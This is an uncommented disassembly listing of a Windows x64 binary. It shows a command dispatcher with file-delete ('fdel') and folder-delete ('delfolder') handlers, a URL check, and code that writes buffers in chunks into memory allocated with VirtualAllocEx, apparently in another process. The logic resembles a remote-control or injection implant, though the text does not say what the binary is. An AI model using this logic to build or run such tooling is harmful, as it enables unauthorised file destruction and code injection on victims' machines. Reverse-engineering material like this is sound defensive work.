lea rcx, [rsp + 0x1590]
call fcn.1400057c0
mov qword [rsp + 0x1168], rax
lea rcx, [rsp + 0x1590]
call fcn.140008fe0
mov qword [rsp + 0x1170], rax
mov r8, qword [rsp + 0x1168]
mov rdx, qword [rsp + 0x1170]
mov rcx, qword [rsp + 0x858]
call fcn.1400227e0
mov rax, qword [rsp + 0x858]
mov qword [rsp + 0x690], rax
mov qword [rsp + 0x1c30], 0
lea rcx, [rsp + 0x1590]
call fcn.1400057c0
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x3f8], 0
jmp 0x14001df06
mov rax, qword [rsp + 0x3f8]
inc rax
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x248]
sub rax, 0x30000
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x3f8], rax
jae 0x14001e03c
cmp qword [rsp + 0x248], 0
jbe 0x14001e03c
cmp qword [rsp + 0x248], 0x7fffffff
jae 0x14001e03c
cmp qword [rsp + 0x248], 0x30000
jbe 0x14001df5e
mov qword [rsp + 0x860], 0x30000
jmp 0x14001df6e
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x860], rax
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x688], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1178], rax
mov rdx, qword [rsp + 0x3f8]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1178]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x680], rax
lea rdx, [rsp + 0x690]
mov rcx, qword [rsp + 0x680]
call fcn.14000ea00
mov rax, qword [rsp + 0x680]
add rax, 0x10
lea rdx, [rsp + 0x688]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x688]
or rax, 0x1f
mov qword [rsp + 0x1180], rax
mov rax, qword [rsp + 0x680]
add rax, 0x18
lea rdx, [rsp + 0x1180]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x688]
mov rcx, qword [rsp + 0x690]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x690], rax
jmp 0x14001dedd
lea rcx, [rsp + 0x1590]
call fcn.140004ac0
nop
lea rcx, [rsp + 0xa30]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2318]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, str.fdel
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001e326
lea rcx, [rsp + 0x2300]
call fcn.14000fa60
nop
lea rcx, [rsp + 0xa50]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1188], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1188]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001e14b
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1190], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1190]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x2890]
call fcn.1401cb270
mov qword [rsp + 0x1198], rax
mov rdx, qword [rsp + 0x1198]
lea rcx, [rsp + 0xa50]
call fcn.1400080b0
lea rcx, [rsp + 0x2890]
call fcn.140004ac0
jmp 0x14001e1ae
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x11a0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x11a0]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x28b0]
call fcn.1401cb270
mov qword [rsp + 0x11a8], rax
mov rdx, qword [rsp + 0x11a8]
lea rcx, [rsp + 0xa50]
call fcn.1400080b0
lea rcx, [rsp + 0x28b0]
call fcn.140004ac0
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x4520]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x74], 0
jmp 0x14001e1e1
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
lea rcx, [rsp + 0xa50]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x74]
cmp rcx, rax
jae 0x14001e2c0
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xa50]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001e220
jmp 0x14001e2c0
lea rcx, [rsp + 0xa50]
call fcn.1400057c0
mov ecx, dword [rsp + 0x74]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001e27a
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xa50]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001e27a
mov eax, dword [rsp + 0x74]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xa50]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001e27a
jmp 0x14001e2c0
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xa50]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x300], ax
xor eax, eax
mov word [rsp + 0x302], ax
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x4520]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001e1d7
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x6f4], eax
lea rcx, [rsp + 0x4520]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x6f4]
cmp eax, ecx
jle 0x14001e306
lea rcx, [rsp + 0x4520]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rsp + 0xa50]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2300]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, str.delfolder
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001e773
lea rcx, [rsp + 0x22e8]
call fcn.14000fa60
nop
lea rcx, [rsp + 0xa70]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x11b0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11b0]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001e407
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x11b8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x11b8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x28d0]
call fcn.1401cb270
mov qword [rsp + 0x11c0], rax
mov rdx, qword [rsp + 0x11c0]
lea rcx, [rsp + 0xa70]
call fcn.1400080b0
lea rcx, [rsp + 0x28d0]
call fcn.140004ac0
jmp 0x14001e46a
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x11c8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x11c8]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x28f0]
call fcn.1401cb270
mov qword [rsp + 0x11d0], rax
mov rdx, qword [rsp + 0x11d0]
lea rcx, [rsp + 0xa70]
call fcn.1400080b0
lea rcx, [rsp + 0x28f0]
call fcn.140004ac0
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x6c], 0
jmp 0x14001e49d
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
lea rcx, [rsp + 0xa70]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x6c]
cmp rcx, rax
jae 0x14001e57c
movsxd rax, dword [rsp + 0x6c]
mov rdx, rax
lea rcx, [rsp + 0xa70]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001e4dc
jmp 0x14001e57c
lea rcx, [rsp + 0xa70]
call fcn.1400057c0
mov ecx, dword [rsp + 0x6c]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001e536
movsxd rax, dword [rsp + 0x6c]
mov rdx, rax
lea rcx, [rsp + 0xa70]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001e536
mov eax, dword [rsp + 0x6c]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xa70]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001e536
jmp 0x14001e57c
movsxd rax, dword [rsp + 0x6c]
mov rdx, rax
lea rcx, [rsp + 0xa70]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x2f8], ax
xor eax, eax
mov word [rsp + 0x2fa], ax
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001e493
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x6f0], eax
lea rcx, [rsp + 0x3ef0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x6f0]
cmp eax, ecx
jle 0x14001e753
xor r8d, r8d
lea rdx, [rsp + 0x3ef0]
lea rcx, [rsp + 0x2190]
call fcn.14000a1e0
nop
lea rdx, [rsp + 0x2190]
lea rcx, [rsp + 0x16c0]
call fcn.140010190
nop
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0x868], rax
lea rcx, [rsp + 0x2190]
call fcn.1400112c0
lea rax, [rsp + 0x2330]
mov qword [rsp + 0x11d8], rax
mov rdx, qword [rsp + 0x868]
mov rcx, qword [rsp + 0x11d8]
call fcn.140010150
mov qword [rsp + 0x11e0], rax
mov rdx, qword [rsp + 0x11e0]
lea rcx, [rsp + 0xab0]
call fcn.140015640
nop
lea rax, [rsp + 0x2360]
mov qword [rsp + 0x11e8], rax
mov rdx, qword [rsp + 0x868]
mov rcx, qword [rsp + 0x11e8]
call fcn.140010150
mov qword [rsp + 0x11f0], rax
mov rdx, qword [rsp + 0x11f0]
lea rcx, [rsp + 0x16b0]
call fcn.140015d60
nop
jmp 0x14001e698
lea rcx, [rsp + 0xab0]
call fcn.1400118e0
lea rdx, [rsp + 0x16b0]
lea rcx, [rsp + 0xab0]
call fcn.140011770
movzx eax, al
test eax, eax
je 0x14001e71b
lea rcx, [rsp + 0xab0]
call fcn.140011880
mov qword [rsp + 0x11f8], rax
mov rcx, qword [rsp + 0x11f8]
call fcn.140023070
mov qword [rsp + 0x1200], rax
lea rdx, [rsp + 0x21b0]
mov rcx, qword [rsp + 0x1200]
call fcn.140024bb0
lea rcx, [rsp + 0x21b0]
call fcn.140015280
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x21b0]
call fcn.140010d00
jmp 0x14001e68b
lea rcx, [rsp + 0x16b0]
call fcn.1400111e0
nop
lea rcx, [rsp + 0xab0]
call fcn.1400111e0
nop
lea rcx, [rsp + 0x16c0]
call fcn.1400111e0
lea rcx, [rsp + 0x3ef0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wrmdir]
nop
lea rcx, [rsp + 0xa70]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x22e8]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x140269e78]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001ec7b
lea rcx, [rsp + 0x22d0]
call fcn.14000fa60
nop
lea rcx, [rsp + 0x15b0]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1208], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1208]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001e854
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1210], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1210]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x2910]
call fcn.1401cb270
mov qword [rsp + 0x1218], rax
mov rdx, qword [rsp + 0x1218]
lea rcx, [rsp + 0x15b0]
call fcn.1400080b0
lea rcx, [rsp + 0x2910]
call fcn.140004ac0
jmp 0x14001e8b7
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1220], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1220]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x2930]
call fcn.1401cb270
mov qword [rsp + 0x1228], rax
mov rdx, qword [rsp + 0x1228]
lea rcx, [rsp + 0x15b0]
call fcn.1400080b0
lea rcx, [rsp + 0x2930]
call fcn.140004ac0
lea rcx, [rsp + 0x15b0]
call fcn.1400057c0
cmp rax, 0xa
jbe 0x14001ec5b
mov r9d, 7
xor r8d, r8d
lea rdx, [rsp + 0x2970]
lea rcx, [rsp + 0x15b0]
call fcn.140009f50
mov qword [rsp + 0x1230], rax
mov rax, qword [rsp + 0x1230]
mov qword [rsp + 0x1238], rax
mov eax, dword [rsp + 0x68]
or eax, 1
mov dword [rsp + 0x68], eax
lea rdx, str.http:__
mov rcx, qword [rsp + 0x1238]
call fcn.140006250
movzx eax, al
test eax, eax
jne 0x14001e993
mov r9d, 8
xor r8d, r8d
lea rdx, [rsp + 0x2950]
lea rcx, [rsp + 0x15b0]
call fcn.140009f50
mov qword [rsp + 0x1240], rax
mov rax, qword [rsp + 0x1240]
mov qword [rsp + 0x1248], rax
mov eax, dword [rsp + 0x68]
or eax, 2
mov dword [rsp + 0x68], eax
lea rdx, str.https:__
mov rcx, qword [rsp + 0x1248]
call fcn.140006250
movzx eax, al
test eax, eax
jne 0x14001e993
mov dword [rsp + 0x2f4], 0
jmp 0x14001e99e
mov dword [rsp + 0x2f4], 1
movzx eax, byte [rsp + 0x2f4]
mov byte [rsp + 0x9f], al
mov eax, dword [rsp + 0x68]
and eax, 2
test eax, eax
je 0x14001e9cb
and dword [rsp + 0x68], 0xfffffffd
lea rcx, [rsp + 0x2950]
call fcn.140004ac0
nop
mov eax, dword [rsp + 0x68]
and eax, 1
test eax, eax
je 0x14001e9e8
and dword [rsp + 0x68], 0xfffffffe
lea rcx, [rsp + 0x2970]
call fcn.140004ac0
movzx eax, byte [rsp + 0x9f]
test eax, eax
je 0x14001ec5b
lea rcx, [rsp + 0x15b0]
call fcn.140008fe0
mov rdx, rax
lea rcx, [rsp + 0x1760]
call fcn.1400167b0
nop
lea rcx, [rsp + 0x1760]
call fcn.1400057c0
mov qword [rsp + 0x1250], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0x1258], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1250]
xor edx, edx
mov rcx, qword [rsp + 0x1258]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x870], rax
lea rcx, [rsp + 0x1760]
call fcn.1400057c0
mov qword [rsp + 0x1260], rax
lea rcx, [rsp + 0x1760]
call fcn.140008fe0
mov qword [rsp + 0x1268], rax
mov r8, qword [rsp + 0x1260]
mov rdx, qword [rsp + 0x1268]
mov rcx, qword [rsp + 0x870]
call fcn.1400227e0
mov rax, qword [rsp + 0x870]
mov qword [rsp + 0x6a8], rax
mov qword [rsp + 0x1c38], 0
lea rcx, [rsp + 0x1760]
call fcn.1400057c0
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x400], 0
jmp 0x14001eb17
mov rax, qword [rsp + 0x400]
inc rax
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x250]
sub rax, 0x30000
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x400], rax
jae 0x14001ec4d
cmp qword [rsp + 0x250], 0
jbe 0x14001ec4d
cmp qword [rsp + 0x250], 0x7fffffff
jae 0x14001ec4d
cmp qword [rsp + 0x250], 0x30000
jbe 0x14001eb6f
mov qword [rsp + 0x878], 0x30000
jmp 0x14001eb7f
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x878], rax
mov rax, qword [rsp + 0x878]
mov qword [rsp + 0x6a0], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1270], rax
mov rdx, qword [rsp + 0x400]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1270]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x698], rax
lea rdx, [rsp + 0x6a8]
mov rcx, qword [rsp + 0x698]
call fcn.14000ea00
mov rax, qword [rsp + 0x698]
add rax, 0x10
lea rdx, [rsp + 0x6a0]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x6a0]
or rax, 0x1f
mov qword [rsp + 0x1278], rax
mov rax, qword [rsp + 0x698]
add rax, 0x18
lea rdx, [rsp + 0x1278]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x6a0]
mov rcx, qword [rsp + 0x6a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a8], rax
jmp 0x14001eaee
lea rcx, [rsp + 0x1760]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x15b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x22d0]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x14026900c]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001f015
lea rcx, [rsp + 0x1680]
call fcn.14000fa60
nop
mov qword [rsp + 0x210], 0
jmp 0x14001ecc9
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x210], rax
jae 0x14001ef45
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1280], rax
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1280]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x6b0], rax
cmp qword [rsp + 0x6b0], 0
jne 0x14001ed32
jmp 0x14001ef45
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1288], rax
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1288]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
jbe 0x14001ee61
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1290], rax
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1290]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x6b0]
mov rdx, rax
lea rcx, [rsp + 0x1a70]
call fcn.14000e660
nop
lea rax, [rsp + 0x1a70]
mov qword [rsp + 0x880], rax
mov rcx, qword [rsp + 0x880]
call fcn.1400068b0
mov qword [rsp + 0x408], rax
mov rcx, qword [rsp + 0x880]
call fcn.140008cd0
mov qword [rsp + 0x1298], rax
jmp 0x14001ee14
mov rax, qword [rsp + 0x408]
inc rax
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x1298]
cmp qword [rsp + 0x408], rax
je 0x14001ee4f
mov rax, qword [rsp + 0x408]
movzx eax, byte [rax]
mov byte [rsp + 0xa0], al
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x1680]
call fcn.1400232e0
jmp 0x14001ee01
lea rcx, [rsp + 0x1a70]
call fcn.140010e70
jmp 0x14001ef40
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x12a0], rax
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x12a0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x6b0]
mov rdx, rax
lea rcx, [rsp + 0x1a88]
call fcn.14000e660
nop
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0x888], rax
mov rcx, qword [rsp + 0x888]
call fcn.1400068b0
mov qword [rsp + 0x410], rax
mov rcx, qword [rsp + 0x888]
call fcn.140008cd0
mov qword [rsp + 0x12a8], rax
jmp 0x14001eef8
mov rax, qword [rsp + 0x410]
inc rax
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x12a8]
cmp qword [rsp + 0x410], rax
je 0x14001ef33
mov rax, qword [rsp + 0x410]
movzx eax, byte [rax]
mov byte [rsp + 0xa1], al
lea rdx, [rsp + 0xa1]
lea rcx, [rsp + 0x1680]
call fcn.1400232e0
jmp 0x14001eee5
lea rcx, [rsp + 0x1a88]
call fcn.140010e70
jmp 0x14001ecb6
lea rdx, [0x14026902c]
lea rcx, [rsp + 0x1b20]
call fcn.140007ba0
nop
lea rax, [rsp + 0x1680]
mov qword [rsp + 0x890], rax
mov rcx, qword [rsp + 0x890]
call fcn.1400068b0
mov qword [rsp + 0x418], rax
mov rcx, qword [rsp + 0x890]
call fcn.140008cd0
mov qword [rsp + 0x12b0], rax
jmp 0x14001efa9
mov rax, qword [rsp + 0x418]
inc rax
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x12b0]
cmp qword [rsp + 0x418], rax
je 0x14001efe7
mov rax, qword [rsp + 0x418]
movzx eax, byte [rax]
mov byte [rsp + 0xa2], al
movzx eax, byte [rsp + 0xa2]
movzx edx, ax
lea rcx, [rsp + 0x1b20]
call fcn.140011c80
jmp 0x14001ef96
lea rcx, [rsp + 0x1b20]
call fcn.140012550
nop
lea rcx, [rsp + 0x1b20]
call fcn.140010d00
nop
lea rcx, [rsp + 0x1680]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x14026905c]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001f3b7
lea rcx, [rsp + 0x1698]
call fcn.14000fa60
nop
mov qword [rsp + 0x208], 0
jmp 0x14001f063
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x208], rax
jae 0x14001f2df
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x12b8], rax
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x6b8], rax
cmp qword [rsp + 0x6b8], 0
jne 0x14001f0cc
jmp 0x14001f2df
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x12c0], rax
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12c0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
jbe 0x14001f1fb
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x12c8], rax
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x12c8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x6b8]
mov rdx, rax
lea rcx, [rsp + 0x1aa0]
call fcn.14000e660
nop
lea rax, [rsp + 0x1aa0]
mov qword [rsp + 0x898], rax
mov rcx, qword [rsp + 0x898]
call fcn.1400068b0
mov qword [rsp + 0x420], rax
mov rcx, qword [rsp + 0x898]
call fcn.140008cd0
mov qword [rsp + 0x12d0], rax
jmp 0x14001f1ae
mov rax, qword [rsp + 0x420]
inc rax
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x12d0]
cmp qword [rsp + 0x420], rax
je 0x14001f1e9
mov rax, qword [rsp + 0x420]
movzx eax, byte [rax]
mov byte [rsp + 0xa3], al
lea rdx, [rsp + 0xa3]
lea rcx, [rsp + 0x1698]
call fcn.1400232e0
jmp 0x14001f19b
lea rcx, [rsp + 0x1aa0]
call fcn.140010e70
jmp 0x14001f2da
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x12d8], rax
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x12d8]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x6b8]
mov rdx, rax
lea rcx, [rsp + 0x1ab8]
call fcn.14000e660
nop
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0x8a0], rax
mov rcx, qword [rsp + 0x8a0]
call fcn.1400068b0
mov qword [rsp + 0x458], rax
mov rcx, qword [rsp + 0x8a0]
call fcn.140008cd0
mov qword [rsp + 0x12e0], rax
jmp 0x14001f292
mov rax, qword [rsp + 0x458]
inc rax
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x12e0]
cmp qword [rsp + 0x458], rax
je 0x14001f2cd
mov rax, qword [rsp + 0x458]
movzx eax, byte [rax]
mov byte [rsp + 0xa4], al
lea rdx, [rsp + 0xa4]
lea rcx, [rsp + 0x1698]
call fcn.1400232e0
jmp 0x14001f27f
lea rcx, [rsp + 0x1ab8]
call fcn.140010e70
jmp 0x14001f050
lea rdx, [0x1402690ac]
lea rcx, [rsp + 0x1b40]
call fcn.140007ba0
nop
lea rax, [rsp + 0x1698]
mov qword [rsp + 0x8a8], rax
mov rcx, qword [rsp + 0x8a8]
call fcn.1400068b0
mov qword [rsp + 0x428], rax
mov rcx, qword [rsp + 0x8a8]
call fcn.140008cd0
mov qword [rsp + 0x12e8], rax
jmp 0x14001f343
mov rax, qword [rsp + 0x428]
inc rax
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x12e8]
cmp qword [rsp + 0x428], rax
je 0x14001f381
mov rax, qword [rsp + 0x428]
movzx eax, byte [rax]
mov byte [rsp + 0xa5], al
movzx eax, byte [rsp + 0xa5]
movzx edx, ax
lea rcx, [rsp + 0x1b40]
call fcn.140011c80
jmp 0x14001f330
lea rcx, [rsp + 0x1b40]
call fcn.140015280
mov rcx, rax
call fcn.140025030
nop
lea rcx, [rsp + 0x1b40]
call fcn.140010d00
nop
lea rcx, [rsp + 0x1698]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x1402690d4]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001f6f7
lea rcx, [rsp + 0x1b60]
call fcn.1400124d0
nop
lea rcx, [rsp + 0x15e8]
call fcn.140004830
nop
lea rcx, [rsp + 0x1b60]
call fcn.140015280
mov rdx, rax
lea rcx, str.Data:__s_n
call fcn.140025030
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x1b60]
mov qword [rsp + 0x8c0], rax
mov rcx, qword [rsp + 0x8c0]
call fcn.140015280
mov qword [rsp + 0x430], rax
mov rcx, qword [rsp + 0x8c0]
call fcn.1400152d0
mov qword [rsp + 0x12f0], rax
jmp 0x14001f469
mov rax, qword [rsp + 0x430]
add rax, 2
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x12f0]
cmp qword [rsp + 0x430], rax
je 0x14001f4a5
mov rax, qword [rsp + 0x430]
movzx eax, word [rax]
mov word [rsp + 0x240], ax
movzx edx, byte [rsp + 0x240]
lea rcx, [rsp + 0x15e8]
call fcn.140004c10
jmp 0x14001f455
lea rcx, [rsp + 0x15e8]
call fcn.1400057c0
mov qword [rsp + 0x12f8], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0x1300], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x12f8]
xor edx, edx
mov rcx, qword [rsp + 0x1300]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x8b8], rax
lea rcx, [rsp + 0x15e8]
call fcn.1400057c0
mov qword [rsp + 0x1308], rax
lea rcx, [rsp + 0x15e8]
call fcn.140008fe0
mov qword [rsp + 0x1310], rax
mov r8, qword [rsp + 0x1308]
mov rdx, qword [rsp + 0x1310]
mov rcx, qword [rsp + 0x8b8]
call fcn.1400227e0
mov rax, qword [rsp + 0x8b8]
mov qword [rsp + 0x6d0], rax
mov qword [rsp + 0x1c40], 0
lea rcx, [rsp + 0x15e8]
call fcn.1400057c0
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x438], 0
jmp 0x14001f5a6
mov rax, qword [rsp + 0x438]
inc rax
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x258]
sub rax, 0x30000
mov qword [rsp + 0x258], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x438], rax
jae 0x14001f6dc
cmp qword [rsp + 0x258], 0
jbe 0x14001f6dc
